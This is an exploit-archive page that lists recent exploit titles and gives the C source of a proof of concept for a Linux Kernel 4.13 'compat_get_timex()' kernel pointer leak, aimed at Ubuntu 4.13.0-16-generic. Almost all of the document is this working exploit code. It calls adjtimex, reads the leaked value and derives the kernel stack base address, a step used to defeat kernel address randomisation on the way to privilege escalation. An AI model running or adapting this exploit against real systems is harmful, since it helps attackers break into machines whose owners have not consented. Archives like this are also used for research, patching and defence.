2ad3a5e94e
11 changes to exploits/shellcodes Linux Kernel 4.13 - 'compat_get_timex()' Leak Kernel Pointer Echo Mirage 3.1 - Buffer Overflow (PoC) GattLib 0.2 - Stack Buffer Overflow Kepler Wallpaper Script 1.1 - SQL Injection Coman 1.0 - 'id' SQL Injection Reservic 1.0 - 'id' SQL Injection MoneyFlux 1.0 - 'id' SQL Injection PHP Dashboards NEW 5.8 - 'dashID' SQL Injection PHP Dashboards NEW 5.8 - Local File Inclusion PHP Uber-style GeoTracking 1.1 - SQL Injection Adianti Framework 5.5.0 - SQL Injection
50 lines
No EOL
1.1 KiB
C
50 lines
No EOL
1.1 KiB
C
#define _GNU_SOURCE
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#define _BSD_SOURCE
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#include <sys/timex.h>
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#include <stdio.h>
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#include <stdint.h>
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#include <sys/types.h>
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#include <sys/socket.h>
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#include <sys/wait.h>
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#include <sys/ioctl.h>
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#include <sys/mman.h>
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#include <sys/ipc.h>
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#include <sys/sem.h>
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#include <sys/stat.h>
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#include <sys/mman.h>
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#include <sys/resource.h>
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#include <sys/syscall.h>
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#include <errno.h>
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#include <fcntl.h>
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#include <unistd.h>
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#include <kptr-lib.h>
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// Ubuntu 4.13.0-16-generic
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// gcc -o poc poc.c -m32
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struct timex time;
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int main(int argc, char **argv)
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{
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int r;
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unsigned long long stack_offset, kernel_base;
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unsigned int leak_value;
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unsigned int high = 0xffffffff;
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memset(&time, 0, sizeof(time));
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time.modes = 0x8000;
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mmap(0,0xa000,3,2022,-1,0);
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adjtimex(&time);
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leak_value = time.tai;
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printf("--> leak_value : %x\n", leak_value);
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memcpy(&kernel_base, &leak_value, 4);
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memcpy((char *)&kernel_base + 4, &high, 4);
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stack_offset = 0x1fc4a4;
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kernel_base = leak_value - stack_offset;
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printf("--> kernel_stack_base : %llx\n", kernel_base);
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return 0;
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} |